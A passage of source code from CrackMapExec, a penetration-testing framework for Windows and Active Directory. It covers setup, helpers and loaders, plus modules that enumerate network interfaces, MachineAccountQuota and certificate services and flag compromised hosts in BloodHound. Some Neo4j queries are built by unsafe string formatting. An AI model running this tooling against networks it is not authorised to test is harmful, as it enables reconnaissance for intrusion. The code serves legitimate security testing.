22 | https://www.youtube.com/watch?v=FavUpD_IjVY
23 | https://www.youtube.com/watch?v=jX3iLfcMDCw
24 | https://www.youtube.com/watch?v=i8ju_10NkGY
25 | https://www.youtube.com/watch?v=6mMPhs6je8Y
26 | https://www.youtube.com/watch?v=CgmNoapY64E
27 | https://www.youtube.com/watch?v=lQCQ4nvn3Is
28 | https://www.youtube.com/watch?v=19N9pAF2qGo
29 | https://www.youtube.com/watch?v=PWmfNeLs7fA
30 |
--------------------------------------------------------------------------------
/cme/first_run.py:
--------------------------------------------------------------------------------
1 | import os
2 | import errno
3 | import sqlite3
4 | import shutil
5 | import cme
6 | import configparser
7 | from configparser import ConfigParser, NoSectionError, NoOptionError
8 | from cme.loaders.protocol_loader import protocol_loader
9 | from subprocess import check_output, PIPE
10 | import sys
11 |
12 | CME_PATH = os.path.expanduser('~/.cme')
13 | TMP_PATH = os.path.join('/tmp', 'cme_hosted')
14 | if os.name == 'nt':
15 | TMP_PATH = os.getenv('LOCALAPPDATA') + '\\Temp\\cme_hosted'
16 | if hasattr(sys, 'getandroidapilevel'):
17 | TMP_PATH = os.path.join('/data','data', 'com.termux', 'files', 'usr', 'tmp', 'cme_hosted')
18 | WS_PATH = os.path.join(CME_PATH, 'workspaces')
19 | CERT_PATH = os.path.join(CME_PATH, 'cme.pem')
20 | CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf')
21 |
22 |
23 | def first_run_setup(logger):
24 |
25 | if not os.path.exists(TMP_PATH):
26 | os.mkdir(TMP_PATH)
27 |
28 | if not os.path.exists(CME_PATH):
29 | logger.info('First time use detected')
30 | logger.info('Creating home directory structure')
31 | os.mkdir(CME_PATH)
32 |
33 | folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts', 'screenshots']
34 | for folder in folders:
35 | if not os.path.exists(os.path.join(CME_PATH, folder)):
36 | os.mkdir(os.path.join(CME_PATH, folder))
37 |
38 | if not os.path.exists(os.path.join(WS_PATH, 'default')):
39 | logger.info('Creating default workspace')
40 | os.mkdir(os.path.join(WS_PATH, 'default'))
41 |
42 | p_loader = protocol_loader()
43 | protocols = p_loader.get_protocols()
44 | for protocol in protocols.keys():
45 | try:
46 | protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath'])
47 | except KeyError:
48 | continue
49 |
50 | proto_db_path = os.path.join(WS_PATH, 'default', protocol + '.db')
51 |
52 | if not os.path.exists(proto_db_path):
53 | logger.info('Initializing {} protocol database'.format(protocol.upper()))
54 | conn = sqlite3.connect(proto_db_path)
55 | c = conn.cursor()
56 |
57 | # try to prevent some of the weird sqlite I/O errors
58 | c.execute('PRAGMA journal_mode = OFF')
59 | c.execute('PRAGMA foreign_keys = 1')
60 |
61 | getattr(protocol_object, 'database').db_schema(c)
62 |
63 | # commit the changes and close everything off
64 | conn.commit()
65 | conn.close()
66 |
67 | if not os.path.exists(CONFIG_PATH):
68 | logger.info('Copying default configuration file')
69 | default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf')
70 | shutil.copy(default_path, CME_PATH)
71 | else:
72 | # This is just a quick check to make sure the config file isn't the old 3.x format
73 | try:
74 | config = configparser.ConfigParser()
75 | config.read(CONFIG_PATH)
76 | config.get('CME', 'workspace')
77 | config.get('CME', 'pwn3d_label')
78 | config.get('CME', 'audit_mode')
79 | config.get('BloodHound', 'bh_enabled')
80 | except (NoSectionError, NoOptionError):
81 | logger.info('Old configuration file detected, replacing with new version')
82 | default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'cme.conf')
83 | shutil.copy(default_path, CME_PATH)
84 |
85 | if not os.path.exists(CERT_PATH):
86 | logger.info('Generating SSL certificate')
87 | try:
88 | check_output(['openssl', 'help'], stderr=PIPE)
89 | if os.name != 'nt':
90 | os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH))
91 | else:
92 | os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US"'.format(path=CERT_PATH))
93 | except OSError as e:
94 | if e.errno == errno.ENOENT:
95 | logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate')
96 | default_path = os.path.join(os.path.dirname(cme.__file__), 'data', 'default.pem')
97 | shutil.copy(default_path, CERT_PATH)
98 | else:
99 | logger.error('Error while generating SSL certificate: {}'.format(e))
100 | sys.exit(1)
101 |
--------------------------------------------------------------------------------
/cme/helpers/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/helpers/__init__.py
--------------------------------------------------------------------------------
/cme/helpers/bash.py:
--------------------------------------------------------------------------------
1 | import os
2 | import cme
3 |
4 | def get_script(path):
5 | with open(os.path.join(os.path.dirname(cme.__file__), 'data', path), 'r') as script:
6 | return script.read()
7 |
--------------------------------------------------------------------------------
/cme/helpers/bloodhound.py:
--------------------------------------------------------------------------------
1 | def add_user_bh(user, domain, logger, config):
2 | users_owned = []
3 | if isinstance(user, str):
4 | users_owned.append({'username': user.upper(), 'domain': domain.upper()})
5 | else:
6 | users_owned = user
7 | if config.get('BloodHound', 'bh_enabled') != "False":
8 | try:
9 | from neo4j.v1 import GraphDatabase
10 | except:
11 | from neo4j import GraphDatabase
12 | from neo4j.exceptions import AuthError, ServiceUnavailable
13 | uri = "bolt://{}:{}".format(config.get('BloodHound', 'bh_uri'), config.get('BloodHound', 'bh_port'))
14 |
15 | driver = GraphDatabase.driver(uri, auth=(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')), encrypted=False)
16 | try:
17 | with driver.session() as session:
18 | with session.begin_transaction() as tx:
19 | for info in users_owned:
20 | if info['username'][-1] == '$':
21 | user_owned = info['username'][:-1] + "." + info['domain']
22 | account_type = 'Computer'
23 | else:
24 | user_owned = info['username'] + "@" + info['domain']
25 | account_type = 'User'
26 |
27 | result = tx.run(
28 | "MATCH (c:{} {{name:\"{}\"}}) RETURN c".format(account_type, user_owned))
29 |
30 | if result.data()[0]['c'].get('owned') in (False, None):
31 | logger.debug("MATCH (c:{} {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(account_type, user_owned))
32 | result = tx.run(
33 | "MATCH (c:{} {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(account_type, user_owned))
34 | logger.highlight("Node {} successfully set as owned in BloodHound".format(user_owned))
35 | except AuthError as e:
36 | logger.error(
37 | "Provided Neo4J credentials ({}:{}) are not valid.".format(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')))
38 | return
39 | except ServiceUnavailable as e:
40 | logger.error("Neo4J does not seem to be available on {}.".format(uri))
41 | return
42 | except Exception as e:
43 | logger.error("Unexpected error with Neo4J")
44 | logger.error("Account not found on the domain")
45 | return
46 | driver.close()
--------------------------------------------------------------------------------
/cme/helpers/http.py:
--------------------------------------------------------------------------------
1 | import random
2 |
3 | def get_desktop_uagent(uagent=None):
4 |
5 | desktop_uagents = {
6 | "MSIE9.0" : "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
7 | "MSIE8.0" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)",
8 | "MSIE7.0" : "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
9 | "MSIE6.0" : "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
10 | "Chrome32" : "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
11 | "Chrome31" : "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36",
12 | "Firefox25": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0",
13 | "Firefox24": "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0,",
14 | "Safari5.1": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
15 | "Safari5.0": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16"
16 | }
17 |
18 | if not uagent:
19 | return desktop_uagents[random.choice(desktop_uagents.keys())]
20 | elif uagent:
21 | return desktop_uagents[uagent]
--------------------------------------------------------------------------------
/cme/helpers/logger.py:
--------------------------------------------------------------------------------
1 | import os
2 | import random
3 | from termcolor import colored
4 |
5 | def write_log(data, log_name):
6 | logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs')
7 | with open(os.path.join(logs_dir, log_name), 'w') as log_output:
8 | log_output.write(data)
9 |
10 | def highlight(text, color='yellow'):
11 | if color == 'yellow':
12 | return u'{}'.format(colored(text, 'yellow', attrs=['bold']))
13 | elif color == 'red':
14 | return u'{}'.format(colored(text, 'red', attrs=['bold']))
15 |
--------------------------------------------------------------------------------
/cme/helpers/misc.py:
--------------------------------------------------------------------------------
1 | import random
2 | import string
3 | import re
4 | import inspect
5 | import os
6 |
7 |
8 | def identify_target_file(target_file):
9 | with open(target_file, 'r') as target_file_handle:
10 | for i, line in enumerate(target_file_handle):
11 | if i == 1:
12 | if line.startswith('\n'):
15 | return 'nmap'
16 |
17 | return 'unknown'
18 |
19 |
20 | def gen_random_string(length=10):
21 | return ''.join(random.sample(string.ascii_letters, int(length)))
22 |
23 |
24 | def validate_ntlm(data):
25 | allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
26 | if allowed.match(data):
27 | return True
28 | else:
29 | return False
30 |
31 |
32 | def called_from_cmd_args():
33 | for stack in inspect.stack():
34 | if stack[3] == 'print_host_info':
35 | return True
36 | if stack[3] == 'plaintext_login' or stack[3] == 'hash_login' or stack[3] == 'kerberos_login':
37 | return True
38 | if stack[3] == 'call_cmd_args':
39 | return True
40 | return False
41 |
42 |
43 | # Stolen from https://github.com/pydanny/whichcraft/
44 | def which(cmd, mode=os.F_OK | os.X_OK, path=None):
45 | """Given a command, mode, and a PATH string, return the path which
46 | conforms to the given mode on the PATH, or None if there is no such
47 | file.
48 | `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
49 | of os.environ.get("PATH"), or can be overridden with a custom search
50 | path.
51 | Note: This function was backported from the Python 3 source code.
52 | """
53 | # Check that a given file can be accessed with the correct mode.
54 | # Additionally check that `file` is not a directory, as on Windows
55 | # directories pass the os.access check.
56 | def _access_check(fn, mode):
57 | return (os.path.exists(fn) and os.access(fn, mode) and
58 | not os.path.isdir(fn))
59 |
60 | # If we're given a path with a directory part, look it up directly
61 | # rather than referring to PATH directories. This includes checking
62 | # relative to the current directory, e.g. ./script
63 | if os.path.dirname(cmd):
64 | if _access_check(cmd, mode):
65 | return cmd
66 | return None
67 |
68 | if path is None:
69 | path = os.environ.get("PATH", os.defpath)
70 | if not path:
71 | return None
72 | path = path.split(os.pathsep)
73 |
74 | files = [cmd]
75 |
76 | seen = set()
77 | for dir in path:
78 | normdir = os.path.normcase(dir)
79 | if normdir not in seen:
80 | seen.add(normdir)
81 | for thefile in files:
82 | name = os.path.join(dir, thefile)
83 | if _access_check(name, mode):
84 | return name
85 | return None
86 |
--------------------------------------------------------------------------------
/cme/loaders/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/snovvcrash/CrackMapExec/5cf1a4a17144d5d630b06557f288cda4dbb523b3/cme/loaders/__init__.py
--------------------------------------------------------------------------------
/cme/loaders/module_loader.py:
--------------------------------------------------------------------------------
1 | import imp
2 | import os
3 | import sys
4 | import cme
5 | from cme.context import Context
6 | from cme.logger import CMEAdapter
7 |
8 | class module_loader:
9 |
10 | def __init__(self, args, db, logger):
11 | self.args = args
12 | self.db = db
13 | self.logger = logger
14 | self.cme_path = os.path.expanduser('~/.cme')
15 |
16 | def module_is_sane(self, module, module_path):
17 | module_error = False
18 |
19 | if not hasattr(module, 'name'):
20 | self.logger.error('{} missing the name variable'.format(module_path))
21 | module_error = True
22 |
23 | elif not hasattr(module, 'description'):
24 | self.logger.error('{} missing the description variable'.format(module_path))
25 | module_error = True
26 |
27 | #elif not hasattr(module, 'chain_support'):
28 | # self.logger.error('{} missing the chain_support variable'.format(module_path))
29 | # module_error = True
30 |
31 | elif not hasattr(module, 'supported_protocols'):
32 | self.logger.error('{} missing the supported_protocols variable'.format(module_path))
33 | module_error = True
34 |
35 | elif not hasattr(module, 'opsec_safe'):
36 | self.logger.error('{} missing the opsec_safe variable'.format(module_path))
37 | module_error = True
38 |
39 | elif not hasattr(module, 'multiple_hosts'):
40 | self.logger.error('{} missing the multiple_hosts variable'.format(module_path))
41 | module_error = True
42 |
43 | elif not hasattr(module, 'options'):
44 | self.logger.error('{} missing the options function'.format(module_path))
45 | module_error = True
46 |
47 | elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
48 | self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path))
49 | module_error = True
50 |
51 | if module_error: return False
52 |
53 | return True
54 |
55 | def load_module(self, module_path):
56 | try:
57 | module = imp.load_source('payload_module', module_path).CMEModule()
58 | if self.module_is_sane(module, module_path):
59 | return module
60 | except Exception as e:
61 | self.logger.error('Failed loading module at {}: {}'.format(module_path, e))
62 |
63 | return None
64 |
65 | def get_modules(self):
66 | modules = {}
67 |
68 | modules_paths = [os.path.join(os.path.dirname(cme.__file__), 'modules'), os.path.join(self.cme_path, 'modules')]
69 |
70 | for path in modules_paths:
71 | for module in os.listdir(path):
72 | if module[-3:] == '.py' and module != 'example_module.py':
73 | module_path = os.path.join(path, module)
74 | m = self.load_module(os.path.join(path, module))
75 | if m and (self.args.protocol in m.supported_protocols):
76 | modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__}#'chain_support': m.chain_support}
77 |
78 | return modules
79 |
80 | def init_module(self, module_path):
81 |
82 | module = None
83 |
84 | module = self.load_module(module_path)
85 |
86 | if module:
87 | module_logger = CMEAdapter(extra={'module': module.name.upper()})
88 | context = Context(self.db, module_logger, self.args)
89 |
90 | module_options = {}
91 |
92 | for option in self.args.module_options:
93 | key, value = option.split('=', 1)
94 | module_options[str(key).upper()] = value
95 |
96 | module.options(context, module_options)
97 |
98 | return module
99 |
--------------------------------------------------------------------------------
/cme/loaders/protocol_loader.py:
--------------------------------------------------------------------------------
1 | import imp
2 | import os
3 | import sys
4 | import cme
5 |
6 | class protocol_loader:
7 |
8 | def __init__(self):
9 | self.cme_path = os.path.expanduser('~/.cme')
10 |
11 | def load_protocol(self, protocol_path):
12 | protocol = imp.load_source('protocol', protocol_path)
13 | #if self.module_is_sane(module, module_path):
14 | return protocol
15 |
16 | def get_protocols(self):
17 | protocols = {}
18 |
19 | protocol_paths = [os.path.join(os.path.dirname(cme.__file__), 'protocols'), os.path.join(self.cme_path, 'protocols')]
20 |
21 | for path in protocol_paths:
22 | for protocol in os.listdir(path):
23 | if protocol[-3:] == '.py' and protocol[:-3] != '__init__':
24 | protocol_path = os.path.join(path, protocol)
25 | protocol_name = protocol[:-3]
26 |
27 | protocols[protocol_name] = {'path' : protocol_path}
28 |
29 | db_file_path = os.path.join(path, protocol_name, 'database.py')
30 | db_nav_path = os.path.join(path, protocol_name, 'db_navigator.py')
31 | if os.path.exists(db_file_path):
32 | protocols[protocol_name]['dbpath'] = db_file_path
33 | if os.path.exists(db_nav_path):
34 | protocols[protocol_name]['nvpath'] = db_nav_path
35 |
36 | return protocols
37 |
--------------------------------------------------------------------------------
/cme/logger.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import sys
3 | import re
4 | from cme.helpers.misc import called_from_cmd_args
5 | from termcolor import colored
6 | from datetime import datetime
7 |
8 | #The following hooks the FileHandler.emit function to remove ansi chars before logging to a file
9 | #There must be a better way of doing this, but this way we might save some penguins!
10 |
11 | ansi_escape = re.compile(r'\x1b[^m]*m')
12 |
13 | def antiansi_emit(self, record):
14 |
15 | if self.stream is None:
16 | self.stream = self._open()
17 |
18 | record.msg = ansi_escape.sub('', record.message)
19 | logging.StreamHandler.emit(self, record)
20 |
21 | logging.FileHandler.emit = antiansi_emit
22 |
23 | ####################################################################
24 |
25 | class CMEAdapter(logging.LoggerAdapter):
26 |
27 | # For Impacket's TDS library
28 | message = ''
29 |
30 | def __init__(self, logger_name='CME', extra=None):
31 | self.logger = logging.getLogger(logger_name)
32 | self.extra = extra
33 |
34 | def process(self, msg, kwargs):
35 | if self.extra is None:
36 | return u'{}'.format(msg), kwargs
37 |
38 | if 'module' in self.extra.keys():
39 | if len(self.extra['module']) > 8:
40 | self.extra['module'] = self.extra['module'][:8] + '...'
41 |
42 | #If the logger is being called when hooking the 'options' module function
43 | if len(self.extra) == 1 and ('module' in self.extra.keys()):
44 | return u'{:<64} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), msg), kwargs
45 |
46 | #If the logger is being called from CMEServer
47 | if len(self.extra) == 2 and ('module' in self.extra.keys()) and ('host' in self.extra.keys()):
48 | return u'{:<24} {:<39} {}'.format(colored(self.extra['module'], 'cyan', attrs=['bold']), self.extra['host'], msg), kwargs
49 |
50 | #If the logger is being called from a protocol
51 | if 'module' in self.extra.keys():
52 | module_name = colored(self.extra['module'], 'cyan', attrs=['bold'])
53 | else:
54 | module_name = colored(self.extra['protocol'], 'blue', attrs=['bold'])
55 |
56 | return u'{:<24} {:<15} {:<6} {:<16} {}'.format(module_name,
57 | self.extra['host'],
58 | self.extra['port'],
59 | self.extra['hostname'] if self.extra['hostname'] else 'NONE',
60 | msg), kwargs
61 |
62 | def info(self, msg, *args, **kwargs):
63 | try:
64 | if 'protocol' in self.extra.keys() and not called_from_cmd_args():
65 | return
66 | except AttributeError:
67 | pass
68 |
69 | msg, kwargs = self.process(u'{} {}'.format(colored("[*]", 'blue', attrs=['bold']), msg), kwargs)
70 | self.logger.info(msg, *args, **kwargs)
71 |
72 | def error(self, msg, color='red', *args, **kwargs):
73 | msg, kwargs = self.process(u'{} {}'.format(colored("[-]", color, attrs=['bold']), msg), kwargs)
74 | self.logger.error(msg, *args, **kwargs)
75 |
76 | def debug(self, msg, *args, **kwargs):
77 | pass
78 |
79 | def success(self, msg, *args, **kwargs):
80 | try:
81 | if 'protocol' in self.extra.keys() and not called_from_cmd_args():
82 | return
83 | except AttributeError:
84 | pass
85 |
86 | msg, kwargs = self.process(u'{} {}'.format(colored("[+]", 'green', attrs=['bold']), msg), kwargs)
87 | self.logger.info(msg, *args, **kwargs)
88 |
89 | def highlight(self, msg, *args, **kwargs):
90 | try:
91 | if 'protocol' in self.extra.keys() and not called_from_cmd_args():
92 | return
93 | except AttributeError:
94 | pass
95 |
96 | msg, kwargs = self.process(u'{}'.format(colored(msg, 'yellow', attrs=['bold'])), kwargs)
97 | self.logger.info(msg, *args, **kwargs)
98 |
99 | # For Impacket's TDS library
100 | def logMessage(self,message):
101 | CMEAdapter.message += message.strip().replace('NULL', '') + '\n'
102 |
103 | def getMessage(self):
104 | out = CMEAdapter.message
105 | CMEAdapter.message = ''
106 | return out
107 |
108 | def setup_debug_logger():
109 | debug_output_string = "{} %(message)s".format(colored('DEBUG', 'magenta', attrs=['bold']))
110 | formatter = logging.Formatter(debug_output_string)
111 | streamHandler = logging.StreamHandler(sys.stdout)
112 | streamHandler.setFormatter(formatter)
113 |
114 | root_logger = logging.getLogger()
115 | root_logger.propagate = False
116 | root_logger.addHandler(streamHandler)
117 | #root_logger.addHandler(fileHandler)
118 | root_logger.setLevel(logging.DEBUG)
119 | return root_logger
120 |
121 | def setup_logger(level=logging.INFO, log_to_file=False, log_prefix=None, logger_name='CME'):
122 |
123 | formatter = logging.Formatter("%(message)s")
124 |
125 | if log_to_file:
126 | if not log_prefix:
127 | log_prefix = 'log'
128 |
129 | log_filename = '{}_{}.log'.format(log_prefix.replace('/', '_'), datetime.now().strftime('%Y-%m-%d'))
130 | fileHandler = logging.FileHandler('./logs/{}'.format(log_filename))
131 | fileHandler.setFormatter(formatter)
132 |
133 | streamHandler = logging.StreamHandler(sys.stdout)
134 | streamHandler.setFormatter(formatter)
135 |
136 | cme_logger = logging.getLogger(logger_name)
137 | cme_logger.propagate = False
138 | cme_logger.addHandler(streamHandler)
139 |
140 | if log_to_file:
141 | cme_logger.addHandler(fileHandler)
142 |
143 | cme_logger.setLevel(level)
144 |
145 | return cme_logger
146 |
--------------------------------------------------------------------------------
/cme/modules/IOXIDResolver.py:
--------------------------------------------------------------------------------
1 | # Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
2 | # Airbus CERT
3 | # module by @mpgn_x64
4 |
5 | from ipaddress import ip_address
6 | from impacket.dcerpc.v5 import transport
7 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
8 | from impacket.dcerpc.v5.dcomrt import IObjectExporter
9 |
10 | class CMEModule:
11 |
12 | name = 'ioxidresolver'
13 | description = "Thie module helps you to identify hosts that have additional active interfaces"
14 | supported_protocols = ['smb']
15 | opsec_safe = True
16 | multiple_hosts = False
17 |
18 | def options(self, context, module_options):
19 | '''
20 | '''
21 |
22 |
23 | def on_login(self, context, connection):
24 | authLevel = RPC_C_AUTHN_LEVEL_NONE
25 |
26 | stringBinding = r'ncacn_ip_tcp:%s' % connection.host
27 | rpctransport = transport.DCERPCTransportFactory(stringBinding)
28 |
29 | portmap = rpctransport.get_dce_rpc()
30 | portmap.set_auth_level(authLevel)
31 | portmap.connect()
32 |
33 | objExporter = IObjectExporter(portmap)
34 | bindings = objExporter.ServerAlive2()
35 |
36 | context.log.debug("[*] Retrieving network interface of " + connection.host)
37 |
38 | #NetworkAddr = bindings[0]['aNetworkAddr']
39 | for binding in bindings:
40 | NetworkAddr = binding['aNetworkAddr']
41 | try:
42 | ip_address(NetworkAddr[:-1])
43 | context.log.highlight("Address: " + NetworkAddr)
44 | except Exception as e:
45 | context.log.debug(e)
46 |
47 |
48 |
--------------------------------------------------------------------------------
/cme/modules/MachineAccountQuota.py:
--------------------------------------------------------------------------------
1 | class CMEModule:
2 | '''
3 | Module by Shutdown and Podalirius
4 |
5 | Initial module:
6 | https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
7 |
8 | Authors:
9 | Shutdown: @_nwodtuhs
10 | Podalirius: @podalirius_
11 | '''
12 |
13 | def options(self, context, module_options):
14 | pass
15 |
16 | name = 'MAQ'
17 | description = 'Retrieves the MachineAccountQuota domain-level attribute'
18 | supported_protocols = ['ldap']
19 | opsec_safe = True
20 | multiple_hosts = False
21 |
22 | def on_login(self, context, connection):
23 | result = []
24 | context.log.info('Getting the MachineAccountQuota')
25 | searchFilter = '(objectClass=*)'
26 | attributes = ['ms-DS-MachineAccountQuota']
27 | result = connection.search(searchFilter, attributes)
28 | context.log.highlight("MachineAccountQuota: %d" % result[0]['attributes'][0]['vals'][0])
29 |
--------------------------------------------------------------------------------
/cme/modules/adcs.py:
--------------------------------------------------------------------------------
1 | import re
2 |
3 | from impacket.ldap import ldap, ldapasn1
4 | from impacket.ldap.ldap import LDAPSearchError
5 |
6 | class CMEModule:
7 | '''
8 | Find PKI Enrollment Services in Active Directory and Certificate Templates Names.
9 |
10 | Module by Tobias Neitzel (@qtc_de) and Sam Freeside (@snovvcrash)
11 | '''
12 | name = 'adcs'
13 | description = 'Find PKI Enrollment Services in Active Directory and Certificate Templates Names'
14 | supported_protocols = ['ldap']
15 | opsec_safe= True
16 | multiple_hosts = True
17 |
18 | def options(self, context, module_options):
19 | '''
20 | SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
21 | '''
22 | self.context = context
23 | self.regex = re.compile('(https?://.+)')
24 |
25 | self.server = None
26 | if module_options and 'SERVER' in module_options:
27 | self.server = module_options['SERVER']
28 |
29 | def on_login(self, context, connection):
30 | '''
31 | On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.
32 | '''
33 | if self.server is None:
34 | search_filter = '(objectClass=pKIEnrollmentService)'
35 | else:
36 | search_filter = '(distinguishedName=CN={},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,'.format(self.server)
37 | self.context.log.highlight('Using PKI CN: {}'.format(self.server))
38 |
39 | context.log.debug("Starting LDAP search with search filter '{}'".format(search_filter))
40 |
41 | try:
42 | sc = ldap.SimplePagedResultsControl()
43 |
44 | if self.server is None:
45 | resp = connection.ldapConnection.search(searchFilter=search_filter,
46 | attributes=[],
47 | sizeLimit=0, searchControls=[sc],
48 | perRecordCallback=self.process_servers,
49 | searchBase='CN=Configuration,' + connection.ldapConnection._baseDN)
50 | else:
51 | resp = connection.ldapConnection.search(searchFilter=search_filter + connection.ldapConnection._baseDN + ')',
52 | attributes=['certificateTemplates'],
53 | sizeLimit=0, searchControls=[sc],
54 | perRecordCallback=self.process_templates,
55 | searchBase='CN=Configuration,' + connection.ldapConnection._baseDN)
56 |
57 | except LDAPSearchError as e:
58 | context.log.error('Obtained unexpected exception: {}'.format(str(e)))
59 |
60 | def process_servers(self, item):
61 | '''
62 | Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers.
63 | '''
64 | if not isinstance(item, ldapasn1.SearchResultEntry):
65 | return
66 |
67 | urls = []
68 | host_name = None
69 | cn = None
70 |
71 | try:
72 | for attribute in item['attributes']:
73 |
74 |
75 |
76 | if str(attribute['type']) == 'dNSHostName':
77 | host_name = attribute['vals'][0].asOctets().decode('utf-8')
78 | if str(attribute['type']) == 'cn':
79 | cn = attribute['vals'][0].asOctets().decode('utf-8')
80 |
81 | elif str(attribute['type']) == 'msPKI-Enrollment-Servers':
82 |
83 | values = attribute['vals']
84 |
85 | for value in values:
86 |
87 | value = value.asOctets().decode('utf-8')
88 | match = self.regex.search(value)
89 |
90 | if match:
91 | urls.append(match.group(1))
92 |
93 | except Exception as e:
94 | entry = host_name or 'item'
95 | self.context.log.error("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
96 |
97 | if host_name:
98 | self.context.log.highlight('Found PKI Enrollment Server: {}'.format(host_name))
99 |
100 | if cn:
101 | self.context.log.highlight('Found CN: {}'.format(cn))
102 |
103 | for url in urls:
104 | self.context.log.highlight('Found PKI Enrollment WebService: {}'.format(url))
105 |
106 | def process_templates(self, item):
107 | '''
108 | Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server.
109 | '''
110 | if not isinstance(item, ldapasn1.SearchResultEntry):
111 | return
112 |
113 | templates = []
114 | template_name = None
115 |
116 | try:
117 |
118 | for attribute in item['attributes']:
119 |
120 | if str(attribute['type']) == 'certificateTemplates':
121 | for val in attribute['vals']:
122 | template_name = val.asOctets().decode('utf-8')
123 | templates.append(template_name)
124 |
125 | except Exception as e:
126 | entry = template_name or 'item'
127 | self.context.log.error("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
128 |
129 | if templates:
130 | for t in templates:
131 | self.context.log.highlight('Found Certificate Template: {}'.format(t))
132 |
--------------------------------------------------------------------------------
/cme/modules/bh_owned.py:
--------------------------------------------------------------------------------
1 | # Author:
2 | # Romain Bentz (pixis - @hackanddo)
3 | # Website:
4 | # https://beta.hackndo.com [FR]
5 | # https://en.hackndo.com [EN]
6 |
7 | import json
8 | import sys
9 |
10 |
11 | class CMEModule:
12 | name = 'bh_owned'
13 | description = "Set pwned computer as owned in Bloodhound"
14 | supported_protocols = ['smb']
15 | opsec_safe = True
16 | multiple_hosts = True
17 |
18 | def options(self, context, module_options):
19 | """
20 | URI URI for Neo4j database (default: 127.0.0.1)
21 | PORT Listening port for Neo4j database (default: 7687)
22 | USER Username for Neo4j database (default: 'neo4j')
23 | PASS Password for Neo4j database (default: 'neo4j')
24 | """
25 |
26 | self.neo4j_URI = "127.0.0.1"
27 | self.neo4j_Port = "7687"
28 | self.neo4j_user = "neo4j"
29 | self.neo4j_pass = "neo4j"
30 |
31 | if module_options and 'URI' in module_options:
32 | self.neo4j_URI = module_options['URI']
33 | if module_options and 'PORT' in module_options:
34 | self.neo4j_Port = module_options['PORT']
35 | if module_options and 'USER' in module_options:
36 | self.neo4j_user = module_options['USER']
37 | if module_options and 'PASS' in module_options:
38 | self.neo4j_pass = module_options['PASS']
39 |
40 | def on_admin_login(self, context, connection):
41 | try:
42 | from neo4j.v1 import GraphDatabase
43 | except:
44 | from neo4j import GraphDatabase
45 |
46 | from neo4j.exceptions import AuthError, ServiceUnavailable
47 |
48 | if context.local_auth:
49 | domain = connection.conn.getServerDNSDomainName()
50 | else:
51 | domain = connection.domain
52 |
53 |
54 | host_fqdn = (connection.hostname + "." + domain).upper()
55 | uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
56 |
57 | try:
58 | driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
59 | except AuthError as e:
60 | context.log.error(
61 | "Provided Neo4J credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
62 | sys.exit()
63 | except ServiceUnavailable as e:
64 | context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
65 | sys.exit()
66 | except Exception as e:
67 | context.log.error("Unexpected error with Neo4J")
68 | context.log.debug("Error : ".format(str(e)))
69 | sys.exit()
70 |
71 | with driver.session() as session:
72 | with session.begin_transaction() as tx:
73 | result = tx.run(
74 | "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn))
75 | if len(result.value()) > 0:
